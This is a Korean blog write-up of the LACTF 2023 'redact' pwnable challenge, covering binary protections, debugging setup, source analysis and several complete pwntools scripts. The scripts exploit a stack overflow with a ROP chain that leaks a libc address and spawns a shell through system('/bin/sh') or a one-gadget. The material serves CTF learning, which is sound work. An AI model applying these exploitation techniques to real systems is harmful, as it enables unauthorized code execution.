CTF/Pwnable
LACTF2023 redact
- -
- 이번 주말에는 Writeup을 올리지 못했습니다. 반성하겠습니다. 여러가지로 생각이 많아서..
- redact 쉬운거 같으면서도 생각보다 시간이 오래 걸렸네요. 역시 쉽지 않습니다 pwnable.
- 다들 행복한 설연휴 되시길 바라겠습니다.!
- 해당 포스트도 도움이 되셨으면 좋겠습니다. 내일도 행복한 하루 되세요. 감사합니다. ^~^.
Environment
dusker@hack:~/CTF/LACTF/2023/pwn/redact$ checksec redact
[*] '/home/dusker/CTF/LACTF/2023/pwn/redact/redact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Stripped: No- libc Patch를 해도 오류가 발생
dusker@hack:~/CTF/LACTF/2023/pwn/redact$ ldd redact
./redact: ./libc.so.6: version `GLIBC_2.33' not found (required by /lib/x86_64-linux-gnu/libstdc++.so.6)
./redact: ./libc.so.6: version `GLIBC_2.32' not found (required by /lib/x86_64-linux-gnu/libstdc++.so.6)
./redact: ./libc.so.6: version `GLIBC_2.34' not found (required by /lib/x86_64-linux-gnu/libstdc++.so.6)
./redact: ./libc.so.6: version `GLIBC_2.35' not found (required by /lib/x86_64-linux-gnu/libgcc_s.so.1)
./redact: ./libc.so.6: version `GLIBC_2.34' not found (required by /lib/x86_64-linux-gnu/libgcc_s.so.1)- 아래 코드를 실행하여 c++과 gcc 도 patch를 진행하면 디버깅이 가능함
mkdir libstdc++
mkdir libgcc
wget http://ftp.debian.org/debian/pool/main/g/gcc-8/libstdc++6-8-dbg_8.3.0-6_amd64.deb
dpkg -x libstdc++6-8-dbg_8.3.0-6_amd64.deb ./libstdc++
wget http://ftp.debian.org/debian/pool/main/g/gcc-8/libgcc1_8.3.0-6_amd64.deb
dpkg -x libgcc1_8.3.0-6_amd64.deb ./libgccpatchelf --set-rpath ./libstdc++/usr/lib/x86_64-linux-gnu/debug/:./libgcc/lib/x86_64-linux-gnu/ ./redactBackground
- BOF
- ROP
- C++ Function
- C++ 에서
cout을 호출할 때는 rdi 레지스터에는std::cout객체의 주소, rsi 레지스터에는 출력하고자하는 정보가 저장된 위치의 주소를 인자로 사용한다. - 또한, 함수 이름은 맹글링이 적용된 상태로, 호출이 된다.
- C++ 에서
0x000000000040120f <+13>: lea rsi,[rip+0xdf3] # 0x402009
0x0000000000401216 <+20>: lea rdi,[rip+0x2ea3] # 0x4040c0 <_ZSt4cout@GLIBCXX_3.4>
0x000000000040121d <+27>: call 0x4010c0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
코드 분석
code
#include <algorithm>
#include <iostream>
#include <string>
int main() {
std::cout << "Enter some text: ";
std::string text;
if (!std::getline(std::cin, text)) {
std::cout << "Failed to read text\n";
return 1;
}
std::cout << "Enter a placeholder: ";
std::string placeholder;
if (!std::getline(std::cin, placeholder)) {
std::cout << "Failed to read placeholder\n";
return 1;
}
std::cout << "Enter the index of the stuff to redact: ";
int index;
if (!(std::cin >> index)) {
std::cout << "Failed to read index\n";
return 1;
}
if (index < 0 || index > text.size() - placeholder.size()) {
std::cout << "Invalid index\n";
return 1;
}
std::copy(placeholder.begin(), placeholder.end(), text.begin() + index);
std::cout << text << '\n';
}
두 번의 문자열 입력과, 정수를 입력한다.
placeholder에 저장된 문자열을text문자열index번째로 복사하여 저장한다.
익스플로잇
text문자열에placeholder가 추가가되는 것을 이용하여, 익스플로잇을 시도할 수 있을 거 같다.text문자열 마지막index로placeholder를 설정하면 BOF가 가능하다.
if (index < 0 || index > text.size() - placeholder.size()) {
std::cout << "Invalid index\n";
return 1;
}
std::copy(placeholder.begin(), placeholder.end(), text.begin() + index);
std::cout << text << '\n';
- gdb를 통해 확인을 해보면, 첫 번째 입력의 스택 사이즈는 0x50 바이트인 것을 확인

- 스택 구조를 도식화하면 아래와 같다.

- 따라서 ROP Chain을 통해 익스플로잇이 가능하다.
여기서 한 가지 확인한 사실은 다음과 같다.
text에 아무값도 입력하지 않고,index를 0으로 설정한다음placeholder를 추가하면,[rbp-0x50]부터 입력이 되는걸로 알았다.GDB를 통해 확인한 결과,
std:copy를 통해 스택에 입력이 시작되는 위치는[rbp-0x40]위치에서부터라는 사실이다.
rdi= placeholder.begin()rsi= placeholder.end()rdx= text.begin() + index
익스플로잇 단계
1. Libc Leak, Return to main
- ROP Chain을 통해
cout << __libc_start_main을 구성해야한다.- Background에서 설명했듯 C++ cout 호출에 필요한 레지스터를 가젯을 통해서 구성한다.
- RDI = _ZSt4cout
- RSI = __libc_start_main@got
- call cout
- Padding은 위에서 설명했듯,
std::copy가[rbp-0x40]에 입력하기 때문에 72Byte를 입력하면, RET를 오버라이팅 할 수 있다.
#! /usr/bin/python3
from pwn import *
p = process('./redact')
e = ELF('./redact')
libc = ELF('./libc.so.6')
context.binary = e
context.log_level = 'debug'
pop_rdi = 0x40177b
pop_rsi_r15 = 0x401779
ret = 0x401016
payload = b'A'* 72 + p64(pop_rdi) # padding 72Byte
payload += p64(e.symbols._ZSt4cout)
payload += p64(pop_rsi_r15)
payload += p64(e.got.__libc_start_main)
payload += p64(1)
payload += p64(e.plt._ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc)
payload += p64(ret) # stack Alignment
payload += p64(e.symbols.main) # Return-to-main
p.sendlineafter(b'Enter some text: ', b'')
p.sendlineafter(b'Enter a placeholder: ', payload)
# pause()
p.sendlineafter(b'redact: ', b'0')
p.recvline() # '\n' 제거
libc.address = u64(p.recvuntil(b'Enter', drop=True).ljust(8,b'\x00')) - libc.symbols.__libc_start_main
print(hex(libc.address))
p.interactive()

2. Call system(’/bin/sh’)
- libc를 구하면 익스플로잇은 성공했다고 할 수 있다.
- ROP 객체를 통해 익스플로잇 페이로드를 제작하면 된다.
#! /usr/bin/python3
from pwn import *
p = process('./redact')
e = ELF('./redact')
libc = ELF('./libc.so.6')
context.binary = e
context.log_level = 'debug'
pop_rdi = 0x40177b
pop_rsi_r15 = 0x401779
ret = 0x401016
payload = b'A'* 72 + p64(pop_rdi)
payload += p64(e.symbols._ZSt4cout)
payload += p64(pop_rsi_r15)
payload += p64(e.got.__libc_start_main)
payload += p64(1)
payload += p64(e.plt._ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc)
payload += p64(ret)
payload += p64(e.symbols.main)
p.sendlineafter(b'Enter some text: ', b'')
p.sendlineafter(b'Enter a placeholder: ', payload)
# pause()
p.sendlineafter(b'redact: ', b'0')
p.recvline()
libc.address = u64(p.recvuntil(b'Enter', drop=True).ljust(8,b'\x00')) - libc.symbols.__libc_start_main
print(hex(libc.address))
rop_chain = ROP([e,libc],badchars='\n')
rop_chain.system(next(libc.search(b'/bin/sh\0')))
log.info(rop_chain.dump)
p.sendlineafter(b'placeholder: ', b'A'*72 + rop_chain.chain())
p.sendlineafter(b'redact: ', b'0')
p.interactive()

Reference
.call옵션과,.raw.find_gadget옵션을 통해 ROP를 쉽게 구성할 수 있다.rop.call(function_name_or_address, arguments)- 지정된 함수 주소 또는 함수 이름을 호출하도록 스택에 ROP 가젯을 추가rop.raw(data)- 주소를 직접 추가rop(r12=0, r13=0)- ROP 체인에r12와r13값을 0으로 설정하는 가젯을 추가
- 특히,
rop(r12=0, r13=0)옵션을 통해 Onegadget에 필요충분조건을 쉽게 설정할 수 있다.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./redact")
libc = ELF("./libc.so.6")
context.binary = exe
r = process([exe.path])
#r = remote("lac.tf", 31181)
rop1 = ROP(exe, badchars=b"\n")
rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", (exe.symbols["_ZSt4cout"], exe.got.__libc_start_main))
rop1.raw(rop1.find_gadget(["ret"]))
rop1.main()
log.info(rop1.dump())
r.sendlineafter(b"text: ", b"")
r.sendlineafter(b"placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())
r.sendlineafter(b"redact: ", b"0")
r.recvline()
leak = unpack(r.recvuntil(b"Enter", drop=True).ljust(8, b"\0"))
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.__libc_start_main
log.info(f"{hex(libc.address)=}")
rop2 = ROP([exe, libc], badchars=b"\n")
rop2(r12=0, r13=0)
rop2.raw(libc.address + 0xc961a)
log.info(rop2.dump())
r.sendlineafter(b"placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())
r.sendlineafter(b"redact: ", b"0")
r.interactive()


핵심 정리
- C++에서 함수가 호출될 때 레지스터와 스택을 잘 확인하여야함
- 또한, C++은 함수가 맹글링된 이름으로 사용한다는 것을 잊으면 안됨
recv를 진행할 때,drop옵션을 사용하면 편함- ROP 객체를 통해서 코드가젯 주소를 구할 필요 없이, 함수 구성이 가능하다.
'CTF > Pwnable' 카테고리의 다른 글
| LACTF2025 gamedev (0) | 2025.02.16 |
|---|---|
| LACTF2025 minecraft (0) | 2025.02.12 |
| LACTF2023 rut-roh-relro (2) | 2025.01.24 |
| LACTF2023 rickroll (2) | 2025.01.24 |
| LACTF2024 sus (2) | 2025.01.22 |
Contents
소중한 공감 감사합니다